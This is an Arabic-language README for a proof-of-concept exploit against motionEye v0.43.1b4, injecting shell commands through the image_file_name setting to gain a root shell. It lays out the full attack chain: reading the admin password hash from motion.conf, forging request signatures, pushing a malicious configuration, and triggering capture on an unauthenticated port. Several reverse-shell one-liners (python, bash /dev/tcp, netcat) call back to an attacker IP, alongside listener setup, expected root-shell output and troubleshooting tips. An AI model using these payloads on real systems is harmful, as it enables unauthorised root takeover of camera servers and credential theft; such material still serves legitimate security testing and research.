
MotionEye v0.43.1b4 حقن أوامر نظام التشغيل
MotionEye v0.43.1b4 حقن أوامر نظام التشغيل
إثبات مفهوم لاستغلال حقن الأوامر في motionEye، وهي واجهة ويب أمامية لخدمة motion. تستغل الثغرة معامل التكوين image_file_name، الذي يُمرر مباشرةً إلى الصدفة دون تنقية، مما يسمح بحقن أوامر عشوائية عبر بناء جملة الصدفة الفرعية $(command).
إخلاء المسؤولية: استخدم فقط ضد الأنظمة التي لديك إذن صريح لاختبارها. الاستخدام غير المصرح به غير قانوني.
يمرر motionEye قيمة التكوين image_file_name مباشرة إلى خدمة motion كقالب لاسم ملف الصدفة. تقوم motion بتقييم تعبيرات الصدفة الفرعية $(...) داخل أسماء الملفات عند وقت الالتقاط، مما يعني أن أي أمر يوضع داخل $(...) يتم تنفيذه كمستخدم يشغل عملية motion (عادةً root).
سلسلة الهجوم الكاملة هي:
1. قراءة تجزئة admin_password من /etc/motioneye/motion.conf
↓
2. اشتقاق تجزئة cookie = SHA1(admin_password_hash)
↓
3. حساب توقيع HMAC باستخدام خوارزمية motionEye الدقيقة:
SHA1("METHOD:path:body:key")
↓
4. إرسال طلب POST لتكوين خبيث إلى /config/{cam}/set/ مع:
image_file_name = $(your_command).%Y-%m-%d-%H-%M-%S
↓
5. تشغيل الالتقاط عبر منفذ التحكم غير المصادق عليه motion 7999
↓
6. تقوم motion بتقييم اسم الملف → يتم تنفيذ الأمر كجذر
↓
7. تتصل الصدفة العكسية مرة أخرى بجهاز المهاجم
8765)/etc/motioneye/motion.confnc)لا توجد حزم Python تابعة لجهات خارجية مطلوبة — يستخدم الاستغلال المكتبة القياسية فقط.
يقوم ملف تكوين motionEye بتخزين كلمة مرور المسؤول كتجزئة SHA1. اقرأها من الهدف:
cat /etc/motioneye/motion.conf
ابحث عن سطر التعليق @admin_password:
# @admin_username admin
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
القيمة بعد
@admin_passwordهي تجزئة SHA1 لكلمة المرور النصية، وليست كلمة المرور نفسها. هذه التجزئة هي ما تحتاجه للاستغلال.
لاحظ أيضًا قيمة webcontrol_port — هذا هو منفذ التحكم غير المصادق عليه motion المستخدم لتشغيل الالتقاط:
webcontrol_port 7999
webcontrol_localhost on
user@test:/tmp$ cat /etc/motioneye/motion.conf
# @admin_username admin
# @normal_username user
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0
# @lang en
# @enabled on
# @normal_password
setup_mode off
webcontrol_port 7999
webcontrol_interface 1
webcontrol_localhost on
webcontrol_parms 2
camera camera-1.conf
camera camera-2.conf
يستخدم motionEye مخطط مصادقة مزدوج التجزئة:
plaintext_password
│
▼ SHA1
admin_password ←── مخزنة في motion.conf كـ @admin_password
│
▼ SHA1
cookie_hash ←── مرسلة في ملف تعريف الارتباط للمتصفح كـ meye_password_hash
│
▼ مستخدمة كمفتاح HMAC
request_signature ←── معامل _signature= في كل طلب API
يقوم الاستغلال باشتقاق تجزئة cookie تلقائيًا من تجزئة التكوين:
cookie_hash = hashlib.sha1(admin_password_hash.encode()).hexdigest()
يمكنك التحقق من ذلك يدويًا:
echo -n "989c5a8ee87a0e9521ec81a79187d162109282f0" | sha1sum
# output: 238bd0f26e9f987d2dc9c0351c018e5f52534052
يتم حساب التوقيع من كود motionEye المصدر في
/usr/local/lib/python3.x/dist-packages/motioneye/utils/__init__.py:
SHA1("METHOD:path:body:key")
حيث:
METHOD — طريقة HTTP (POST)path — URI مع إزالة _signature من سلسلة الاستعلام، وفرز المعاملات، وترميز القيم URL، ثم تصفيتها عبر _SIGNATURE_REGEXbody — سلسلة JSON الخام للجسم مصفاة عبر _SIGNATURE_REGEXkey — إما admin_password أو admin_hash (يقبل motionEye كليهما)، مصفى عبر _SIGNATURE_REGEXتقوم _SIGNATURE_REGEX بإزالة أي حرف ليس في [a-zA-Z0-9/?_.=&{}\[\]":, -]، واستبداله بـ -.
افتح exploit.py وقم بتعيين المتغيرات التالية في الأعلى:
MOTIONEYE_URL = "http://127.0.0.1:8765" # رابط واجهة motionEye
MOTION_URL = "http://127.0.0.1:7999" # منفذ التحكم في motion (بدون مصادقة)
USERNAME = "admin" # اسم مستخدم المسؤول (الافتراضي: admin)
ADMIN_HASH = "989c5a8ee87a0e9521ec81a79187d162109282f0" # من motion.conf
LHOST = "10.10.16.153" # IP المستمع الخاص بك — يجب أن يتمكن الهدف من الوصول إليه
LPORT = "4444" # منفذ المستمع الخاص بك
يتم تعيين أمر الصدفة العكسية تلقائيًا من LHOST و LPORT:
COMMAND = f"python3 -c 'import socket,os,pty;s=socket.socket();s.connect((\"{LHOST}\",{LPORT}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")'"
أوامر الصدفة البديلة — استبدل COMMAND إذا تم حظر الافتراضي:
# Bash TCP (بسيط، قد يتم تصفيته)
COMMAND = f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
# Netcat مع العلم -e
COMMAND = f"nc -e /bin/bash {LHOST} {LPORT}"
# Netcat بدون -e (OpenBSD netcat)
COMMAND = f"rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc {LHOST} {LPORT} > /tmp/f"
على جهاز الهجوم الخاص بك، ابدأ مستمع netcat قبل تشغيل الاستغلال:
nc -lvnp 4444
يتوقف الاستغلال لمدة 5 ثوانٍ بعد طباعة تذكير المستمع، مما يمنحك الوقت لتبديل المحطات.
python3 exploit.py
المخرجات المتوقعة:
============================================================
motionEye RCE — الصدفة العكسية
============================================================
[*] LHOST : 10.10.16.153
[*] LPORT : 4444
[*] الأمر : python3 -c '...'
[!] ابدأ المستمع الخاص بك الآن:
nc -lvnp 4444
[*] إرسال الحمولة خلال 5 ثوانٍ...
[*] cam=2 key=admin_password ts=1773484327292
sig=abc123...
status=200 resp={}
[+] تم حفظ التكوين! cam=2 key=admin_password
[*] تشغيل الالتقاط عبر المنفذ 7999 (بدون مصادقة)...
[+] cam 0 → 200 تم التقاط الكاميرا 0
[+] cam 1 → 200 تم التقاط الكاميرا 1
[+] cam 2 → 200 تم التقاط الكاميرا 2
[+] تم تشغيل الالتقاط — تحقق من المستمع على 10.10.16.153:4444
على المستمع الخاص بك يجب أن تستقبل:
listening on [any] 4444 ...
connect to [10.10.16.153] from (UNKNOWN) [target_ip] 51234
root@test:/var/lib/motioneye/Camera2#
403 غير مصرح به لجميع الطلبات
التوقيع خاطئ. تحقق من تطابق قيمة ADMIN_HASH تمامًا مع سطر @admin_password في motion.conf — لا مسافات ولا أحرف سطر جديد.
cat /etc/motioneye/motion.conf | grep admin_password
يتم تشغيل الالتقاط ولكن لا تصل صدفة
يعمل حقن image_file_name ولكن تم حظر الصدفة العكسية. جرب COMMAND بديل من الخطوة 4. تأكد أيضًا من أن الهدف يمكنه الوصول إلى LHOST الخاص بك:
# على الهدف
ping -c 1 10.10.16.153
curl http://10.10.16.153:4444
**
**المنفذ 7999 يرفض الاتصال**
الإعداد `webcontrol_localhost on` يقيد المنفذ 7999 على localhost فقط. يجب تشغيل الاستغلال من جهاز الهدف أو عبر نفق. تأكد باستخدام:
```bash
ss -tlnp | grep 7999
motion.conf غير قابل للقراءة
قد يتطلب الملف صلاحيات مرتفعة:
sudo cat /etc/motioneye/motion.conf
**
**لم يتم العثور على تكوين كاميرا**
تحقق من ملفات تكوين الكاميرا الموجودة وقم بتحديث قائمة `cam` في الاستغلال إذا لزم الأمر:
```bash
ls /etc/motioneye/camera-*.conf
| المعامل | الموقع | الوصف | مثال |
|---|
MOTIONEYE_URL | exploit.py | الرابط الكامل لواجهة motionEye | http://127.0.0.1:8765 |
MOTION_URL | exploit.py | رابط منفذ التحكم في motion (بدون مصادقة) | http://127.0.0.1:7999 |
USERNAME | exploit.py | اسم مستخدم المسؤول في motionEye | admin |
ADMIN_HASH | exploit.py | تجزئة SHA1 من @admin_password في motion.conf | 989c5a8e... |
LHOST | exploit.py | IP جهاز الهجوم الخاص بك — يجب أن يصل إليه الهدف | 10.10.16.153 |
LPORT | exploit.py | المنفذ الذي يستمع عليه مستمع nc الخاص بك | 4444 |